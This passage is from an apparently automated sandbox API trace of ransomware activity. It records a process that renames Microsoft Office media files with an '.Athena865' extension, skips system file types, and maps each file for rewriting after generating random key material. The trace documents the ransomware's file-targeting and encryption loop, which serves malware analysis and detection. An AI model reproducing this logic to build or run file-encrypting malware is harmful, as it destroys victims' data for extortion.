"c:\\program files\\microsoft office\\media\\cagcat10\\j0199805.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.503] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2376) returned 1 [0138.503] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.503] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.503] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.504] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc50, lpName=0x0) returned 0x154 [0138.505] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc50) returned 0x100000 [0138.506] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.507] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.507] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.507] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0205462.WMF" | out: lpString1="J0205462.WMF") returned="J0205462.WMF" [0138.508] lstrlenW (lpString="J0205462.WMF") returned 12 [0138.508] lstrlenW (lpString="Athena865") returned 9 [0138.508] lstrcmpiW (lpString1="05462.WMF", lpString2="Athena865") returned -1 [0138.508] lstrlenW (lpString=".dll") returned 4 [0138.508] lstrcmpiW (lpString1="J0205462.WMF", lpString2=".dll") returned 1 [0138.508] lstrlenW (lpString=".lnk") returned 4 [0138.508] lstrcmpiW (lpString1="J0205462.WMF", lpString2=".lnk") returned 1 [0138.508] lstrlenW (lpString=".ini") returned 4 [0138.508] lstrcmpiW (lpString1="J0205462.WMF", lpString2=".ini") returned 1 [0138.508] lstrlenW (lpString=".sys") returned 4 [0138.508] lstrcmpiW (lpString1="J0205462.WMF", lpString2=".sys") returned 1 [0138.508] lstrlenW (lpString="J0205462.WMF") returned 12 [0138.508] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF.Athena865") returned 71 [0138.508] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205462.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205462.wmf.athena865"), dwFlags=0x1) returned 1 [0138.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205462.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.510] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9112) returned 1 [0138.510] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.511] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.511] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.511] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x26a0, lpName=0x0) returned 0x154 [0138.513] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x26a0) returned 0x100000 [0138.514] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.515] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.515] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.515] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0205466.WMF" | out: lpString1="J0205466.WMF") returned="J0205466.WMF" [0138.515] lstrlenW (lpString="J0205466.WMF") returned 12 [0138.515] lstrlenW (lpString="Athena865") returned 9 [0138.516] lstrcmpiW (lpString1="05466.WMF", lpString2="Athena865") returned -1 [0138.516] lstrlenW (lpString=".dll") returned 4 [0138.516] lstrcmpiW (lpString1="J0205466.WMF", lpString2=".dll") returned 1 [0138.516] lstrlenW (lpString=".lnk") returned 4 [0138.516] lstrcmpiW (lpString1="J0205466.WMF", lpString2=".lnk") returned 1 [0138.516] lstrlenW (lpString=".ini") returned 4 [0138.516] lstrcmpiW (lpString1="J0205466.WMF", lpString2=".ini") returned 1 [0138.516] lstrlenW (lpString=".sys") returned 4 [0138.516] lstrcmpiW (lpString1="J0205466.WMF", lpString2=".sys") returned 1 [0138.516] lstrlenW (lpString="J0205466.WMF") returned 12 [0138.516] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF.Athena865") returned 71 [0138.516] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205466.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205466.wmf.athena865"), dwFlags=0x1) returned 1 [0138.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205466.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.518] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4578) returned 1 [0138.518] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.518] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.518] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.519] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14f0, lpName=0x0) returned 0x154 [0138.520] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14f0) returned 0x100000 [0138.521] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.522] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.522] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.522] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0205582.WMF" | out: lpString1="J0205582.WMF") returned="J0205582.WMF" [0138.523] lstrlenW (lpString="J0205582.WMF") returned 12 [0138.523] lstrlenW (lpString="Athena865") returned 9 [0138.523] lstrcmpiW (lpString1="05582.WMF", lpString2="Athena865") returned -1 [0138.523] lstrlenW (lpString=".dll") returned 4 [0138.523] lstrcmpiW (lpString1="J0205582.WMF", lpString2=".dll") returned 1 [0138.523] lstrlenW (lpString=".lnk") returned 4 [0138.523] lstrcmpiW (lpString1="J0205582.WMF", lpString2=".lnk") returned 1 [0138.523] lstrlenW (lpString=".ini") returned 4 [0138.523] lstrcmpiW (lpString1="J0205582.WMF", lpString2=".ini") returned 1 [0138.523] lstrlenW (lpString=".sys") returned 4 [0138.523] lstrcmpiW (lpString1="J0205582.WMF", lpString2=".sys") returned 1 [0138.523] lstrlenW (lpString="J0205582.WMF") returned 12 [0138.523] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF.Athena865") returned 71 [0138.523] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205582.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205582.wmf.athena865"), dwFlags=0x1) returned 1 [0138.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205582.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.524] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6130) returned 1 [0138.525] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.525] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.525] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.525] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b00, lpName=0x0) returned 0x154 [0138.527] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1b00) returned 0x100000 [0138.530] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.539] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.539] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.550] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0211949.WMF" | out: lpString1="J0211949.WMF") returned="J0211949.WMF" [0138.550] lstrlenW (lpString="J0211949.WMF") returned 12 [0138.550] lstrlenW (lpString="Athena865") returned 9 [0138.550] lstrcmpiW (lpString1="11949.WMF", lpString2="Athena865") returned -1 [0138.550] lstrlenW (lpString=".dll") returned 4 [0138.550] lstrcmpiW (lpString1="J0211949.WMF", lpString2=".dll") returned 1 [0138.550] lstrlenW (lpString=".lnk") returned 4 [0138.551] lstrcmpiW (lpString1="J0211949.WMF", lpString2=".lnk") returned 1 [0138.551] lstrlenW (lpString=".ini") returned 4 [0138.551] lstrcmpiW (lpString1="J0211949.WMF", lpString2=".ini") returned 1 [0138.551] lstrlenW (lpString=".sys") returned 4 [0138.551] lstrcmpiW (lpString1="J0211949.WMF", lpString2=".sys") returned 1 [0138.551] lstrlenW (lpString="J0211949.WMF") returned 12 [0138.551] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF.Athena865") returned 71 [0138.551] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0211949.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0211949.wmf.athena865"), dwFlags=0x1) returned 1 [0138.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0211949.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.553] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=45902) returned 1 [0138.553] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.553] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.553] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.554] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb650, lpName=0x0) returned 0x154 [0138.555] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb650) returned 0x100000 [0138.560] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.561] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.561] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.562] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0212219.WMF" | out: lpString1="J0212219.WMF") returned="J0212219.WMF" [0138.562] lstrlenW (lpString="J0212219.WMF") returned 12 [0138.562] lstrlenW (lpString="Athena865") returned 9 [0138.562] lstrcmpiW (lpString1="12219.WMF", lpString2="Athena865") returned -1 [0138.562] lstrlenW (lpString=".dll") returned 4 [0138.562] lstrcmpiW (lpString1="J0212219.WMF", lpString2=".dll") returned 1 [0138.562] lstrlenW (lpString=".lnk") returned 4 [0138.562] lstrcmpiW (lpString1="J0212219.WMF", lpString2=".lnk") returned 1 [0138.562] lstrlenW (lpString=".ini") returned 4 [0138.562] lstrcmpiW (lpString1="J0212219.WMF", lpString2=".ini") returned 1 [0138.562] lstrlenW (lpString=".sys") returned 4 [0138.562] lstrcmpiW (lpString1="J0212219.WMF", lpString2=".sys") returned 1 [0138.562] lstrlenW (lpString="J0212219.WMF") returned 12 [0138.562] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF.Athena865") returned 71 [0138.562] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212219.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212219.wmf.athena865"), dwFlags=0x1) returned 1 [0138.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212219.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.564] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4542) returned 1 [0138.565] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.565] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.565] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.565] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14c0, lpName=0x0) returned 0x154 [0138.567] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14c0) returned 0x100000 [0138.568] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.569] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.569] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.569] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0212661.WMF" | out: lpString1="J0212661.WMF") returned="J0212661.WMF" [0138.569] lstrlenW (lpString="J0212661.WMF") returned 12 [0138.570] lstrlenW (lpString="Athena865") returned 9 [0138.570] lstrcmpiW (lpString1="12661.WMF", lpString2="Athena865") returned -1 [0138.570] lstrlenW (lpString=".dll") returned 4 [0138.570] lstrcmpiW (lpString1="J0212661.WMF", lpString2=".dll") returned 1 [0138.570] lstrlenW (lpString=".lnk") returned 4 [0138.570] lstrcmpiW (lpString1="J0212661.WMF", lpString2=".lnk") returned 1 [0138.570] lstrlenW (lpString=".ini") returned 4 [0138.570] lstrcmpiW (lpString1="J0212661.WMF", lpString2=".ini") returned 1 [0138.570] lstrlenW (lpString=".sys") returned 4 [0138.570] lstrcmpiW (lpString1="J0212661.WMF", lpString2=".sys") returned 1 [0138.570] lstrlenW (lpString="J0212661.WMF") returned 12 [0138.570] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF.Athena865") returned 71 [0138.570] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212661.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212661.wmf.athena865"), dwFlags=0x1) returned 1 [0138.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212661.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.573] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9358) returned 1 [0138.573] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.573] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.573] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.574] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2790, lpName=0x0) returned 0x154 [0138.575] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2790) returned 0x100000 [0138.577] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.578] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.578] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.578] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0212701.WMF" | out: lpString1="J0212701.WMF") returned="J0212701.WMF" [0138.578] lstrlenW (lpString="J0212701.WMF") returned 12 [0138.578] lstrlenW (lpString="Athena865") returned 9 [0138.578] lstrcmpiW (lpString1="12701.WMF", lpString2="Athena865") returned -1 [0138.578] lstrlenW (lpString=".dll") returned 4 [0138.578] lstrcmpiW (lpString1="J0212701.WMF", lpString2=".dll") returned 1 [0138.578] lstrlenW (lpString=".lnk") returned 4 [0138.579] lstrcmpiW (lpString1="J0212701.WMF", lpString2=".lnk") returned 1 [0138.579] lstrlenW (lpString=".ini") returned 4 [0138.579] lstrcmpiW (lpString1="J0212701.WMF", lpString2=".ini") returned 1 [0138.579] lstrlenW (lpString=".sys") returned 4 [0138.579] lstrcmpiW (lpString1="J0212701.WMF", lpString2=".sys") returned 1 [0138.579] lstrlenW (lpString="J0212701.WMF") returned 12 [0138.579] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF.Athena865") returned 71 [0138.579] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212701.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212701.wmf.athena865"), dwFlags=0x1) returned 1 [0138.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212701.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.580] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2938) returned 1 [0138.580] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.581] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.581] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.581] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe80, lpName=0x0) returned 0x154 [0138.583] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe80) returned 0x100000 [0138.584] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.585] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.585] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.585] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0212957.WMF" | out: lpString1="J0212957.WMF") returned="J0212957.WMF" [0138.585] lstrlenW (lpString="J0212957.WMF") returned 12 [0138.585] lstrlenW (lpString="Athena865") returned 9 [0138.585] lstrcmpiW (lpString1="12957.WMF", lpString2="Athena865") returned -1 [0138.585] lstrlenW (lpString=".dll") returned 4 [0138.585] lstrcmpiW (lpString1="J0212957.WMF", lpString2=".dll") returned 1 [0138.586] lstrlenW (lpString=".lnk") returned 4 [0138.586] lstrcmpiW (lpString1="J0212957.WMF", lpString2=".lnk") returned 1 [0138.586] lstrlenW (lpString=".ini") returned 4 [0138.586] lstrcmpiW (lpString1="J0212957.WMF", lpString2=".ini") returned 1 [0138.586] lstrlenW (lpString=".sys") returned 4 [0138.586] lstrcmpiW (lpString1="J0212957.WMF", lpString2=".sys") returned 1 [0138.586] lstrlenW (lpString="J0212957.WMF") returned 12 [0138.586] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF.Athena865") returned 71 [0138.586] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212957.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212957.wmf.athena865"), dwFlags=0x1) returned 1 [0138.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212957.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.587] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9252) returned 1 [0138.588] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.588] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.588] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.588] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2730, lpName=0x0) returned 0x154 [0138.590] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2730) returned 0x100000 [0138.592] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.592] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.592] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.593] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0214098.WAV" | out: lpString1="J0214098.WAV") returned="J0214098.WAV" [0138.593] lstrlenW (lpString="J0214098.WAV") returned 12 [0138.593] lstrlenW (lpString="Athena865") returned 9 [0138.593] lstrcmpiW (lpString1="14098.WAV", lpString2="Athena865") returned -1 [0138.593] lstrlenW (lpString=".dll") returned 4 [0138.593] lstrcmpiW (lpString1="J0214098.WAV", lpString2=".dll") returned 1 [0138.593] lstrlenW (lpString=".lnk") returned 4 [0138.593] lstrcmpiW (lpString1="J0214098.WAV", lpString2=".lnk") returned 1 [0138.593] lstrlenW (lpString=".ini") returned 4 [0138.593] lstrcmpiW (lpString1="J0214098.WAV", lpString2=".ini") returned 1 [0138.593] lstrlenW (lpString=".sys") returned 4 [0138.593] lstrcmpiW (lpString1="J0214098.WAV", lpString2=".sys") returned 1 [0138.593] lstrlenW (lpString="J0214098.WAV") returned 12 [0138.593] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft 